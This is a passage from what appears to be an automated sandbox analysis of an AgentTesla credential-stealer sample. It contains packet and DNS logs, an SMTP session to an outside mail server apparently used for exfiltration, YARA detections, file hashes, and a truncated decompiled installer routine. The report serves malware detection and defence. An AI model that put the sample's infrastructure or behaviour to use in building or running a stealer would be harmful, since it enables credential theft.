                                                                                                      Jun 10, 2021 16:33:07.515892029 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:07.565799952 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:07.580606937 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:07.648952961 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:07.648987055 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:07.649003029 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:07.649015903 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:07.649085045 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:07.649135113 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:07.660783052 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:07.687160015 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:07.739372015 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:07.784548044 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:08.020052910 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:08.072082996 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:08.077243090 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:08.132307053 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:08.133141994 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:08.224497080 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:08.434758902 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:08.439166069 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:08.491475105 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:08.494575024 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:08.587511063 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:08.656271935 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:08.656836033 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:08.708772898 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:08.710311890 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:08.710545063 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:08.711524963 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:08.711668015 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:08.762227058 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:08.762279034 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:08.763242960 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:08.763271093 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:09.346879959 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:09.394067049 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:10.824043989 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:10.878382921 CEST58749759185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:10.878556013 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:10.995899916 CEST49759587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:11.462141037 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:11.513782024 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.515136957 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:11.592566013 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.593064070 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:11.645109892 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.647048950 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:11.701004028 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.701805115 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:11.767189980 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.767231941 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.767256021 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.767273903 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.767350912 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:11.771059036 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.778059006 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:11.831494093 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.834542036 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:11.886405945 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.890369892 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:11.943137884 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.947787046 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:12.013725996 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.014375925 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:12.066332102 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.067073107 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:12.158375978 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.195329905 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.195959091 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:12.249341965 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.251629114 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:12.251985073 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:12.252207994 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:12.252445936 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:12.252789974 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:12.252998114 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:12.253166914 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:12.253369093 CEST49760587192.168.2.4185.145.97.154
                                                                                                      Jun 10, 2021 16:33:12.303487062 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.303580046 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.303770065 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.303972006 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.304379940 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.304408073 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.304498911 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.304703951 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.304862976 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.335310936 CEST58749760185.145.97.154192.168.2.4
                                                                                                      Jun 10, 2021 16:33:12.378856897 CEST49760587192.168.2.4185.145.97.154

                                                                                                      UDP Packets

                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                      Jun 10, 2021 16:31:08.820503950 CEST5912353192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:08.843307972 CEST5453153192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:08.879436016 CEST53591238.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:08.893702030 CEST53545318.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:10.896902084 CEST4971453192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:10.946814060 CEST53497148.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:11.488945007 CEST5802853192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:11.548984051 CEST53580288.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:11.694916010 CEST5309753192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:11.754446983 CEST53530978.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:12.785131931 CEST4925753192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:12.846481085 CEST53492578.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:13.758203030 CEST6238953192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:13.817022085 CEST53623898.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:14.906419039 CEST4991053192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:14.959626913 CEST53499108.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:15.753509998 CEST5585453192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:15.807682037 CEST53558548.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:16.760272980 CEST6454953192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:16.814701080 CEST53645498.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:17.618000984 CEST6315353192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:17.668526888 CEST53631538.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:18.765999079 CEST5299153192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:18.816210985 CEST53529918.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:20.161376953 CEST5370053192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:20.220058918 CEST53537008.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:20.983668089 CEST5172653192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:21.034496069 CEST53517268.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:21.927871943 CEST5679453192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:21.981107950 CEST53567948.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:23.025336981 CEST5653453192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:23.076498985 CEST53565348.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:23.947134972 CEST5662753192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:23.997332096 CEST53566278.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:25.099188089 CEST5662153192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:25.149590969 CEST53566218.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:25.884020090 CEST6311653192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:25.934185028 CEST53631168.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:27.044317007 CEST6407853192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:27.094527960 CEST53640788.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:27.907584906 CEST6480153192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:27.959486008 CEST53648018.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:31:42.805233002 CEST6172153192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:31:42.878016949 CEST53617218.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:03.273896933 CEST5125553192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:03.489829063 CEST53512558.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:04.081512928 CEST6152253192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:04.147088051 CEST53615228.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:04.285444021 CEST5233753192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:04.357515097 CEST53523378.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:04.563460112 CEST5504653192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:04.693949938 CEST53550468.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:05.695972919 CEST4961253192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:05.757884979 CEST53496128.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:06.557415962 CEST4928553192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:06.622850895 CEST53492858.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:07.720948935 CEST5060153192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:07.775743961 CEST53506018.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:08.705986023 CEST6087553192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:08.769689083 CEST53608758.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:09.829175949 CEST5644853192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:09.892926931 CEST53564488.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:11.528718948 CEST5917253192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:11.590265036 CEST53591728.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:15.036381006 CEST6242053192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:15.098016024 CEST53624208.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:15.849589109 CEST6057953192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:15.911247015 CEST53605798.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:19.823508978 CEST5018353192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:19.885330915 CEST53501838.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:53.078896046 CEST6153153192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:53.153359890 CEST53615318.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:32:54.225924969 CEST4922853192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:32:54.301631927 CEST53492288.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:33:07.010297060 CEST5979453192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:33:07.077755928 CEST53597948.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:33:07.089621067 CEST5591653192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:33:07.151684999 CEST53559168.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.307936907 CEST5275253192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:33:11.366795063 CEST53527528.8.8.8192.168.2.4
                                                                                                      Jun 10, 2021 16:33:11.389303923 CEST6054253192.168.2.48.8.8.8
                                                                                                      Jun 10, 2021 16:33:11.458507061 CEST53605428.8.8.8192.168.2.4

                                                                                                      DNS Queries

                                                                                                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                                                                                                      Jun 10, 2021 16:33:07.010297060 CEST192.168.2.48.8.8.80x32a0Standard query (0)mail.mytravelws.comA (IP address)IN (0x0001)
                                                                                                      Jun 10, 2021 16:33:07.089621067 CEST192.168.2.48.8.8.80x3c7aStandard query (0)mail.mytravelws.comA (IP address)IN (0x0001)
                                                                                                      Jun 10, 2021 16:33:11.307936907 CEST192.168.2.48.8.8.80x10e9Standard query (0)mail.mytravelws.comA (IP address)IN (0x0001)
                                                                                                      Jun 10, 2021 16:33:11.389303923 CEST192.168.2.48.8.8.80xca35Standard query (0)mail.mytravelws.comA (IP address)IN (0x0001)

                                                                                                      DNS Answers

                                                                                                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                                                                                                      Jun 10, 2021 16:33:07.077755928 CEST8.8.8.8192.168.2.40x32a0No error (0)mail.mytravelws.commytravelws.comCNAME (Canonical name)IN (0x0001)
                                                                                                      Jun 10, 2021 16:33:07.077755928 CEST8.8.8.8192.168.2.40x32a0No error (0)mytravelws.com185.145.97.154A (IP address)IN (0x0001)
                                                                                                      Jun 10, 2021 16:33:07.151684999 CEST8.8.8.8192.168.2.40x3c7aNo error (0)mail.mytravelws.commytravelws.comCNAME (Canonical name)IN (0x0001)
                                                                                                      Jun 10, 2021 16:33:07.151684999 CEST8.8.8.8192.168.2.40x3c7aNo error (0)mytravelws.com185.145.97.154A (IP address)IN (0x0001)
                                                                                                      Jun 10, 2021 16:33:11.366795063 CEST8.8.8.8192.168.2.40x10e9No error (0)mail.mytravelws.commytravelws.comCNAME (Canonical name)IN (0x0001)
                                                                                                      Jun 10, 2021 16:33:11.366795063 CEST8.8.8.8192.168.2.40x10e9No error (0)mytravelws.com185.145.97.154A (IP address)IN (0x0001)
                                                                                                      Jun 10, 2021 16:33:11.458507061 CEST8.8.8.8192.168.2.40xca35No error (0)mail.mytravelws.commytravelws.comCNAME (Canonical name)IN (0x0001)
                                                                                                      Jun 10, 2021 16:33:11.458507061 CEST8.8.8.8192.168.2.40xca35No error (0)mytravelws.com185.145.97.154A (IP address)IN (0x0001)

                                                                                                      SMTP Packets

                                                                                                      TimestampSource PortDest PortSource IPDest IPCommands
                                                                                                      Jun 10, 2021 16:33:07.407892942 CEST58749759185.145.97.154192.168.2.4220-servertrv.mytravelws.com ESMTP Exim 4.94.2 #2 Thu, 10 Jun 2021 14:33:07 +0000
                                                                                                      220-We do not authorize the use of this system to transport unsolicited,
                                                                                                      220 and/or bulk e-mail.
                                                                                                      Jun 10, 2021 16:33:07.408173084 CEST49759587192.168.2.4185.145.97.154EHLO 301389
                                                                                                      Jun 10, 2021 16:33:07.461004972 CEST58749759185.145.97.154192.168.2.4250-servertrv.mytravelws.com Hello 301389 [84.17.52.18]
                                                                                                      250-SIZE 52428800
                                                                                                      250-8BITMIME
                                                                                                      250-PIPELINING
                                                                                                      250-PIPE_CONNECT
                                                                                                      250-STARTTLS
                                                                                                      250 HELP
                                                                                                      Jun 10, 2021 16:33:07.461407900 CEST49759587192.168.2.4185.145.97.154STARTTLS
                                                                                                      Jun 10, 2021 16:33:07.515892029 CEST58749759185.145.97.154192.168.2.4220 TLS go ahead
                                                                                                      Jun 10, 2021 16:33:11.592566013 CEST58749760185.145.97.154192.168.2.4220-servertrv.mytravelws.com ESMTP Exim 4.94.2 #2 Thu, 10 Jun 2021 14:33:11 +0000
                                                                                                      220-We do not authorize the use of this system to transport unsolicited,
                                                                                                      220 and/or bulk e-mail.
                                                                                                      Jun 10, 2021 16:33:11.593064070 CEST49760587192.168.2.4185.145.97.154EHLO 301389
                                                                                                      Jun 10, 2021 16:33:11.645109892 CEST58749760185.145.97.154192.168.2.4250-servertrv.mytravelws.com Hello 301389 [84.17.52.18]
                                                                                                      250-SIZE 52428800
                                                                                                      250-8BITMIME
                                                                                                      250-PIPELINING
                                                                                                      250-PIPE_CONNECT
                                                                                                      250-STARTTLS
                                                                                                      250 HELP
                                                                                                      Jun 10, 2021 16:33:11.647048950 CEST49760587192.168.2.4185.145.97.154STARTTLS
                                                                                                      Jun 10, 2021 16:33:11.701004028 CEST58749760185.145.97.154192.168.2.4220 TLS go ahead

                                                                                                      Code Manipulations

                                                                                                      Statistics

                                                                                                      CPU Usage

                                                                                                      Click to jump to process

                                                                                                      Memory Usage

                                                                                                      Click to jump to process

                                                                                                      High Level Behavior Distribution

                                                                                                      Click to dive into process behavior distribution

                                                                                                      Behavior

                                                                                                      Click to jump to process

                                                                                                      System Behavior

                                                                                                      General

                                                                                                      Start time:16:31:16
                                                                                                      Start date:10/06/2021
                                                                                                      Path:C:\Users\user\Desktop\i6xFULh8J5.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:'C:\Users\user\Desktop\i6xFULh8J5.exe'
                                                                                                      Imagebase:0x400000
                                                                                                      File size:540995 bytes
                                                                                                      MD5 hash:6C425CF25DA766D3D98597A9BE4E7300
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Yara matches:
                                                                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.657892904.00000000022C0000.00000004.00000001.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000000.00000002.657892904.00000000022C0000.00000004.00000001.sdmp, Author: Joe Security
                                                                                                      Reputation:low

                                                                                                      General

                                                                                                      Start time:16:31:17
                                                                                                      Start date:10/06/2021
                                                                                                      Path:C:\Users\user\Desktop\i6xFULh8J5.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:'C:\Users\user\Desktop\i6xFULh8J5.exe'
                                                                                                      Imagebase:0x400000
                                                                                                      File size:540995 bytes
                                                                                                      MD5 hash:6C425CF25DA766D3D98597A9BE4E7300
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:.Net C# or VB.NET
                                                                                                      Yara matches:
                                                                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.915053341.0000000002310000.00000004.00000001.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.915053341.0000000002310000.00000004.00000001.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.913772727.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.913772727.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.916734898.0000000004862000.00000040.00000001.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.916734898.0000000004862000.00000040.00000001.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.915137007.0000000002381000.00000004.00000001.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.915996454.0000000003381000.00000004.00000001.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.915996454.0000000003381000.00000004.00000001.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000001.654864588.0000000000414000.00000040.00020000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000001.654864588.0000000000414000.00000040.00020000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000001.00000002.914093005.0000000000549000.00000004.00000020.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 00000001.00000002.914093005.0000000000549000.00000004.00000020.sdmp, Author: Joe Security
                                                                                                      Reputation:low

                                                                                                      Disassembly

                                                                                                      Code Analysis

                                                                                                      Reset < >

                                                                                                        Executed Functions

                                                                                                        C-Code - Quality: 82%
                                                                                                        			_entry_() {
                                                                                                        				struct _SHFILEINFOA _v360;
                                                                                                        				struct _SECURITY_ATTRIBUTES* _v376;
                                                                                                        				char _v380;
                                                                                                        				CHAR* _v384;
                                                                                                        				char _v396;
                                                                                                        				int _v400;
                                                                                                        				int _v404;
                                                                                                        				CHAR* _v408;
                                                                                                        				intOrPtr _v412;
                                                                                                        				int _v416;
                                                                                                        				intOrPtr _v420;
                                                                                                        				struct _SECURITY_ATTRIBUTES* _v424;
                                                                                                        				void* _v432;
                                                                                                        				int _t34;
                                                                                                        				CHAR* _t39;
                                                                                                        				char* _t42;
                                                                                                        				signed int _t44;
                                                                                                        				void* _t48;
                                                                                                        				intOrPtr _t50;
                                                                                                        				signed int _t52;
                                                                                                        				signed int _t55;
                                                                                                        				int _t56;
                                                                                                        				signed int _t60;
                                                                                                        				void* _t79;
                                                                                                        				void* _t89;
                                                                                                        				void* _t91;
                                                                                                        				char* _t96;
                                                                                                        				signed int _t97;
                                                                                                        				void* _t98;
                                                                                                        				signed int _t99;
                                                                                                        				signed int _t100;
                                                                                                        				signed int _t103;
                                                                                                        				CHAR* _t105;
                                                                                                        				signed int _t106;
                                                                                                        				char _t120;
                                                                                                        
                                                                                                        				_v376 = 0;
                                                                                                        				_v384 = "Error writing temporary file. Make sure your temp folder is valid.";
                                                                                                        				_t99 = 0;
                                                                                                        				_v380 = 0x20;
                                                                                                        				__imp__#17();
                                                                                                        				_t34 = SetErrorMode(0x8001); // executed
                                                                                                        				__imp__OleInitialize(0); // executed
                                                                                                        				 *0x423f58 = _t34;
                                                                                                        				 *0x423ea4 = E00405E88(8);
                                                                                                        				SHGetFileInfoA(0x41f458, 0,  &_v360, 0x160, 0); // executed
                                                                                                        				E00405B66(0x4236a0, "NSIS Error");
                                                                                                        				_t39 = GetCommandLineA();
                                                                                                        				_t96 = "\"C:\\Users\\jones\\Desktop\\i6xFULh8J5.exe\" ";
                                                                                                        				E00405B66(_t96, _t39);
                                                                                                        				 *0x423ea0 = GetModuleHandleA(0);
                                                                                                        				_t42 = _t96;
                                                                                                        				if("\"C:\\Users\\jones\\Desktop\\i6xFULh8J5.exe\" " == 0x22) {
                                                                                                        					_v404 = 0x22;
                                                                                                        					_t42 =  &M00429001;
                                                                                                        				}
                                                                                                        				_t44 = CharNextA(E00405684(_t42, _v404));
                                                                                                        				_v404 = _t44;
                                                                                                        				while(1) {
                                                                                                        					_t91 =  *_t44;
                                                                                                        					_t109 = _t91;
                                                                                                        					if(_t91 == 0) {
                                                                                                        						break;
                                                                                                        					}
                                                                                                        					__eflags = _t91 - 0x20;
                                                                                                        					if(_t91 != 0x20) {
                                                                                                        						L5:
                                                                                                        						__eflags =  *_t44 - 0x22;
                                                                                                        						_v404 = 0x20;
                                                                                                        						if( *_t44 == 0x22) {
                                                                                                        							_t44 = _t44 + 1;
                                                                                                        							__eflags = _t44;
                                                                                                        							_v404 = 0x22;
                                                                                                        						}
                                                                                                        						__eflags =  *_t44 - 0x2f;
                                                                                                        						if( *_t44 != 0x2f) {
                                                                                                        							L15:
                                                                                                        							_t44 = E00405684(_t44, _v404);
                                                                                                        							__eflags =  *_t44 - 0x22;
                                                                                                        							if(__eflags == 0) {
                                                                                                        								_t44 = _t44 + 1;
                                                                                                        								__eflags = _t44;
                                                                                                        							}
                                                                                                        							continue;
                                                                                                        						} else {
                                                                                                        							_t44 = _t44 + 1;
                                                                                                        							__eflags =  *_t44 - 0x53;
                                                                                                        							if( *_t44 == 0x53) {
                                                                                                        								__eflags = ( *(_t44 + 1) | 0x00000020) - 0x20;
                                                                                                        								if(( *(_t44 + 1) | 0x00000020) == 0x20) {
                                                                                                        									_t99 = _t99 | 0x00000002;
                                                                                                        									__eflags = _t99;
                                                                                                        								}
                                                                                                        							}
                                                                                                        							__eflags =  *_t44 - 0x4352434e;
                                                                                                        							if( *_t44 == 0x4352434e) {
                                                                                                        								__eflags = ( *(_t44 + 4) | 0x00000020) - 0x20;
                                                                                                        								if(( *(_t44 + 4) | 0x00000020) == 0x20) {
                                                                                                        									_t99 = _t99 | 0x00000004;
                                                                                                        									__eflags = _t99;
                                                                                                        								}
                                                                                                        							}
                                                                                                        							__eflags =  *((intOrPtr*)(_t44 - 2)) - 0x3d442f20;
                                                                                                        							if( *((intOrPtr*)(_t44 - 2)) == 0x3d442f20) {
                                                                                                        								 *((intOrPtr*)(_t44 - 2)) = 0;
                                                                                                        								__eflags = _t44 + 2;
                                                                                                        								E00405B66("C:\\Users\\jones\\AppData\\Local\\Temp", _t44 + 2);
                                                                                                        								L20:
                                                                                                        								_t105 = "C:\\Users\\jones\\AppData\\Local\\Temp\\";
                                                                                                        								GetTempPathA(0x400, _t105); // executed
                                                                                                        								_t48 = E00403208(_t109);
                                                                                                        								_t110 = _t48;
                                                                                                        								if(_t48 != 0) {
                                                                                                        									L22:
